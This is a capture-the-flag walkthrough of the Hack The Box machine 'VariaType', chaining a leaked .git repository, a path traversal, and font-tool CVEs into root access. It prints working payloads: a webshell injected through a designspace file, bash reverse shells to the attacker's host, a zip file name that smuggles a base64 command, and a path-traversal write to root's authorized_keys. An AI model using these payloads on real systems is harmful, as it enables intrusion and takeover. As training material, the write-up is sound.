VariaType is a medium-rated Linux machine on Hack The Box that highlights the importance of thorough fuzzing and careful vulnerability discovery. The challenge involves identifying and chaining multiple vulnerabilities and CVEs to progress through the system, ultimately leading to the retrieval of the user flag and privilege escalation to root.
Before starting off with enumeration, assign the IP variable.
$ export IP=10.129.x.x
We kick off with an NMAP scan, first a port scan, followed by a default scripts and service scan on the open ports.
$ sudo nmap --min-rate 1000 -Pn $IP -p-
Nmap scan report for 10.129.x.x
Host is up (8.4s latency).
Not shown: 65375 filtered tcp ports (no-response), 158 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
$ sudo nmap -sVC --min-rate 800 $IP -p 22,80 | tee scan.res
Nmap scan report for 10.129.x.x
Host is up (0.44s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_ 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.95 seconds
The machine has an SSH and an HTTP port running nginx open. The HTTP port responds to variatype.htb.
Before moving any further, it is imperative we add the discovered hostname to our /etc/hosts for name resolution.
$ echo "$IP variatype.htb" | sudo tee -a /etc/hosts
Having added the hostname, we can open the website on any browser on the attack machine.
The website seems to belong to VariaType Labs who build fonts. It also has an option to to upload and check out our own fonts.
Apart from the website, we also enumerate for other subdomains that the machine might be hosting.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$IP -H "Host: FUZZ.variatype.htb" -t 4 -fs 169
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.244.202
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.variatype.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 4
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 169
________________________________________________
portal [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 918ms]
We find a subdomain portal.variatype.htb.
We add it to our /etc/hosts so that it resolves successfully. The entry in the file then looks like: 10.129.x.x variatype.htb portal.variatype.htb
$ sudo nano /etc/hosts
Visiting the page in the browser brings us to PHP login form. We can also get more info about the tech stack using whatweb.
$ whatweb http://portal.variatype.htb
http://portal.variatype.htb [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[[email protected],[email protected]], HTML5, HTTPServer[nginx/1.22.1], IP[10.129.244.202], PasswordField[password], Title[VariaType — Internal Validation Portal], nginx[1.22.1]
Next we fuzz the endpoints of this website to check if any interesting endpoints are exposed.
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://portal.variatype.htb/FUZZ -t 32 -e .php,.html
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://portal.variatype.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Extensions : .php .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 32
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.git [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 208ms]
auth.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 204ms]
dashboard.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 398ms]
download.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 611ms]
files [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 407ms]
index.php [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 187ms]
view.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 407ms]
:: Progress: [61443/61443] :: Job [1/1] :: 97 req/sec :: Duration: [0:08:32] :: Errors: 0 ::
...
Interestingly the .git endpoint exists but it returns a 301 Moved Permanently HTTP response when visited through a browser.
$ curl http://portal.variatype.htb/.git
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.22.1</center>
</body>
</html>
However, trying to access .git/config downloads the config file, which implies, we can use Git Dumper to download and recreate the Git repository.
$ curl http://portal.variatype.htb/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Dev Team
email = [email protected]
Searching for Git Dumper on Google we come across this repository.
The tool can simply be installed using:
$ sudo apt update
$ sudo apt install python3 python3-pip python3-venv
$ python3 -m venv venv
$ source venv/bin/activate
$ pip install git-dumper
(remember to create a virtual environment (python3 -m venv venv) to avoid breaking system packages.
Finally, to dump the .git directory:
$ git-dumper http://portal.variatype.htb/.git ./gitDump -j 16
Inside the gitDump folder we find all the files.
$cd gitDump
$ ls -la
total 16
drwxrwxr-x 3 ice ice 4096 Jun 9 07:52 .
drwxrwxr-x 4 ice ice 4096 Jun 9 07:52 ..
-rw-rw-r-- 1 ice ice 36 Jun 9 07:52 auth.php
drwxrwxr-x 7 ice ice 4096 Jun 9 07:52 .git
$ ls .git
COMMIT_EDITMSG config description HEAD hooks index info logs objects ORIG_HEAD refs
The files can be analyzed using git commands.
$ cd .git
$ git log
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <[email protected]>
Date: Fri Dec 5 15:59:33 2025 -0500
fix: add gitbot user for automated validation pipeline
commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <[email protected]>
Date: Fri Dec 5 15:57:57 2025 -0500
feat: initial portal implementation
$ git log -p
...
+$USERS = [
+ 'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];
commit 5030e791b764cb2a50fcb3e2279fea9737444870
...
We obtain the credentials of a user gitbot:G1tB0t_Acc3ss_2025!.
These creds can be used to login to the portal successfully.
Trying to access the previously discovered path we find out that
/download.php requires a file path, experimenting with it, we discover a Local File Inclusion (LFI) vulnerability.
$ curl --cookie "PHPSESSID=3mt..." http://portal.variatype.htb/download.php
File parameter required.
The cookie value can be pulled from the browser after successful login.
$ curl --cookie "PHPSESSID=3mt..." http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc//passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
variatype:x:102:110::/nonexistent:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
We find the user steve from here. Similarly, we can get all the files by guessing name and path.
$ curl --cookie "PHPSESSID=3mt2o8o3lbr4bj9q3eghjpuh7g" http://portal.variatype.htb/download.php?f=....//download.php
<?php
require_once 'auth.php';
require_login();
$file = $_GET['f'] ?? '';
if (!$file) {
die('File parameter required.');
}
$file = str_replace("../", "", $file);
$filepath = '/var/www/portal.variatype.htb/public/files/' . $file;
if (!is_file($filepath)) {
die('File not found.');
}
// Forzar descarga
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($filepath));
readfile($filepath);
exit();
?>
$ curl --cookie "PHPSESSID=3mt2o8o3lbr4bj9q3eghjpuh7g" http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc//nginx//nginx.conf
$ curl --cookie "PHPSESSID=3mt2o8o3lbr4bj9q3eghjpuh7g" http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc//nginx//sites-enabled//variatype.htb
$ curl --cookie "PHPSESSID=3mt2o8o3lbr4bj9q3eghjpuh7g" http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc//nginx//sites-enabled//portal.variatype.htb
Similarly, we can read the log files which points towards variatype.htb being a Flask app.
Searching the web for "Variable Font Generator CVE" unveils CVE-2025-66034.
We can use the same PoC, modifying it according to our machine to create a php webshell on portal.variatype.htb.
First, we run the setup.py to generate ttf files. Then, we create mal.designspace with this content.
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<!-- XML injection occurs in labelname elements with CDATA sections -->
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system($_GET["cmd"]);?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">MEOW2</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont" filename="../../../../../var/www/portal.variatype.htb/public/files/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>
We deduced the path after reading the nginx configuration and
download.php.
We can then use the GenerateFont page on http://variatype.htb to upload these files.
Once the upload completes, we can access the webshell at http://portal.variatype.htb/files/shell.php?cmd=id.
We can leverage the PHP webshell to get a netcat shell. For that, set up a listener.
$ rlwrap nc -lvnp 4444
And in the browser, we visit the URL: http://portal.variatype.htb/files/shell.php?cmd=%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<ATTACK_IP>%2F4444%200%3E%261%22
This gives us a shell as www-data.
On the reverse shell, we can use find to get the location of the python app.
www-data@variatype:/var$ find / -name "app.py" 2>/dev/null
find / -name "app.py" 2>/dev/null
/usr/local/lib/python3.11/dist-packages/flask/app.py
/usr/local/lib/python3.11/dist-packages/flask/sansio/app.py
/opt/variatype/app.py
Going through /opt we come across a backup file.
www-data@variatype:/opt$ ls -la
ls -la
total 20
drwxr-xr-x 4 root root 4096 Mar 9 08:29 .
drwxr-xr-x 18 root root 4096 Mar 9 08:29 ..
drwxr-xr-x 3 root root 4096 Mar 9 08:29 font-tools
-rwxr-xr-- 1 steve steve 2018 Feb 26 07:50 process_client_submissions.bak
drwxr-xr-x 4 variatype variatype 4096 Mar 9 08:29 variatype
To download this file we can simply copy it to the portal webserver.
www-data@variatype:/opt$ cp process_client_submissions.bak /var/www/portal.variatype.htb/public/backup.bak
On the attacker machine:
wget http://portal.variatype.htb/backup.bak
The file can be read using less. It turns out to be the backup of a fontforge script used by application.
$ less backup.bak
This file seems to be a an independent script that auto extracts zip files, is created by the user steve and most probably is the key to escalation. Checking the fonforge binary it uses, we are able to find out the version.
www-data@variatype:/etc$ /usr/local/src/fontforge/build/bin/fontforge
/usr/local/src/fontforge/build/bin/fontforge
Copyright (c) 2000-2025. See AUTHORS for Contributors.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
with many parts BSD <http://fontforge.org/license.html>. Please read LICENSE.
Version: 20230101
Based on sources from 2025-12-07 11:44 UTC-D.
Based on source from git with hash: a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf
Searching the web reveals this is an old version.
FontForge version 20230101 (released Dec 31, 2022)
Next, we take a look a the cron jobs.
www-data@variatype:/opt$ ls /etc/cron.d
ls /etc/cron.d
e2scrub_all
php
We find 2 e2scrub jobs run as root and session a clearing job.
www-data@variatype:/etc/cron.d$ cat e2scrub_all
cat e2scrub_all
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
www-data@variatype:/etc/cron.d$ cat php
cat php
09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
Before proceeding with the probable fontforge vector, it is worth checking the processes running on the machine. Although, ps aux can be used for the same but it does not reveal all the processes. Hence, we use pspy.
We start a python webserver in the directory containing the pspy binary on our attack machine.
$ python3 -m http.server
On the target, we can simply download it from our attack machine.
www-data@variatype:/tmp$ wget http://10.10.16.144:8000/pspy64
Now, we can grant it execution persmissions.
www-data@variatype:/tmp$ chmod +x pspy
And run it.
$ ./pspy
...
2026/06/09 00:32:01 CMD: UID=1000 PID=8696 | /bin/sh -c /home/steve/bin/process_client_submissions.sh >/dev/null 2>&1
2026/06/09 00:32:01 CMD: UID=1000 PID=8697 |
2026/06/09 00:32:01 CMD: UID=1000 PID=8698 | mkdir -p /home/steve/processed_fonts /home/steve/quarantine /home/steve/logs
2026/06/09 00:32:01 CMD: UID=1000 PID=8699 | /bin/bash /home/steve/bin/process_client_submissions.sh
2026/06/09 00:32:01 CMD: UID=1000 PID=8700 |
2026/06/09 00:32:01 CMD: UID=1000 PID=8701 | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c
import fontforge
import sys
try:
font = fontforge.open('variabype_JJUgrbDvvF8.ttf')
family = getattr(font, 'familyname', 'Unknown')
style = getattr(font, 'fontname', 'Default')
print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
font.close()
except Exception as e:
print(f'ERROR: Failed to process variabype_JJUgrbDvvF8.ttf: {e}', file=sys.stderr)
sys.exit(1)
2026/06/09 00:32:01 CMD: UID=1000 PID=8702 | /bin/bash /home/steve/bin/process_client_submissions.sh
2026/06/09 00:32:01 CMD: UID=1000 PID=8703 |
2026/06/09 00:32:01 CMD: UID=1000 PID=8704 | /bin/bash /home/steve/bin/process_client_submissions.sh
This confirms the vector, the user steve runs the process_client_submissions.sh (we had found the script backup process_client_submissions.bak earlier).
From the backup, it looks like the script runs every 30 seconds.
Searching the web for "fontforge version 20230101 cve" reveals that this particular version has multiple vulnerabilities. We go with CVE-2024-25081 as it seems to be the most promising.
We use the following script to exploit this vulnerability. It creates the malicious zip in /tmp directory and hosts it on port 8000 on the attack machine.
#!/bin/bash
shcmd=$(echo "/bin/bash -i >& /dev/tcp/$1/$2 0>&1" | base64 -w0)
cat > /tmp/make_exploit.py << 'EOF'
import os, zipfile
payload = os.environ["shcmd"]
member = f"$(echo {payload}|base64 -d|bash).ttf"
with zipfile.ZipFile('/tmp/exploit.zip', 'w') as z:
z.writestr(member, "dummy content")
print("member:", member)
EOF
shcmd="$shcmd" python3 /tmp/make_exploit.py
cd /tmp
python3 -m http.server 8000
The script be run as follows:
$ source exp.sh 10.10.16.x 4446
and the reverse shell listener can be started using:
$ rlwrap nc -lvnp 4446
On the target, it can simply be downloaded using wget to /var/www/portal.variatype.htb/public/files/.
www-data@variatype:~/portal.variatype.htb/public/files$ wget http://10.10.16.x:8000/exploit.zip
In about a minute, we get a session as steve on our reverse shell.
The user flag can be read using
cat.
steve@variatype:~$ cat /home/steve/user.txt
To get a stable SSH shell as steve, we generate an SSH key and copy the public key to ~/.ssh/authorized_keys on the target machine.
$ ssh-keygen -t ed25519 -f ./ssh -N "" -C [email protected]
$ cat ssh.pub
We can now simply sopy this public key to the target.
steve@variatype:~$ mkdir .ssh
mkdir .ssh
steve@variatype:~$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILkrxsqwmC+C0r7aQcgwhTDRREP60bRJIv+r7XKt/aWC [email protected]" > .ssh/authorized_keys
<XKt/aWC [email protected]" > .ssh/authorized_keys
It is crucial to fix the file permissions on the target for the ssh files.
steve@variatype:~$ chmod 700 ~/.ssh
chmod 700 ~/.ssh
steve@variatype:~$ chmod 600 ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
Now, we can connect to target machine through SSH from our attack machine.
$ ssh -i ssh [email protected]
Note that the second
sshis the private key file name.
We perform basic enumeration as steve.
steve@variatype:~$ ls -la
total 52
drwx------ 9 steve steve 4096 Jun 9 01:38 .
drwxr-xr-x 3 root root 4096 Dec 5 2025 ..
lrwxrwxrwx 1 root root 9 Feb 27 06:16 .bash_history -> /dev/null
-rw-r--r-- 1 steve steve 220 Dec 5 2025 .bash_logout
-rw-r--r-- 1 steve steve 3526 Dec 5 2025 .bashrc
drwxr-xr-x 3 steve steve 4096 Dec 7 2025 .config
drwxr-xr-x 3 steve steve 4096 Dec 7 2025 .local
-rw-r--r-- 1 steve steve 807 Dec 5 2025 .profile
drwx------ 2 steve steve 4096 Jun 9 01:38 .ssh
drwxr-xr-x 2 steve steve 4096 Dec 13 15:02 bin
drwxr-xr-x 2 steve steve 4096 Dec 7 2025 logs
drwxr-xr-x 2 steve steve 4096 Mar 9 08:29 processed_fonts
drwxr-xr-x 2 steve steve 4096 Dec 13 15:12 quarantine
-rw-r----- 1 root steve 33 Dec 13 08:22 user.txt
steve@variatype:~$ sudo -l
Matching Defaults entries for steve on variatype:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
Turns out, user Steve can execute /opt/font-tools/install_validator.py with super user privileges without any password.
Reading the file, it turns out to be a Font Validator Plugin Installer.
steve@variatype:~$ less /opt/font-tools/install_validator.py
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.
Example usage:
sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""
Analyzing the script carefully, it uses PackageIndex().download. Searching the web for "packageindex.download cve", we come across CVE-2025-47273.
Searching a little, we come across this PoC.
To leverage this vulnerability to get root access, we first generate new ssh keys for root, create a custom server to exploit the PackageIndex vulnerability for path traversal and copy our authorized_keys to the root directory of the target. This is successful as the script can be run using sudo on the target. We can use the following script for setting this up.
#!/bin/bash
ssh-keygen -t ed25519 -f rootkey -N "" -C [email protected]
mkdir -p /tmp/serve
cp rootkey.pub /tmp/serve/authorized_keys
cat > /tmp/serve/server.py << 'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
with open('authorized_keys', 'rb') as f:
data = f.read()
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.send_header('Content-Length', len(data))
self.end_headers()
self.wfile.write(data)
HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()
EOF
cd /tmp/serve && python3 server.py
It can be run using:
$ source root_exploit.sh
Finally, to perform the exploit, we execute as sudo on the target machine.
steve@variatype:~$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.16.144:8888/%2Froot%2F.ssh%2Fauthorized_keys"
2026-06-09 02:24:01,386 [INFO] Attempting to install plugin from: http://10.10.16.144:8888/%2Froot%2F.ssh%2Fauthorized_keys
2026-06-09 02:24:01,394 [INFO] Downloading http://10.10.16.144:8888/%2Froot%2F.ssh%2Fauthorized_keys
2026-06-09 02:24:05,936 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.
We can now use the rootkey to ssh into the target machine as root.
$ ssh -i rootkey [email protected]
The root flag is located at /root/root.txt.
root@variatype:~# cat /root/root.txt
This concludes the VariaType Box.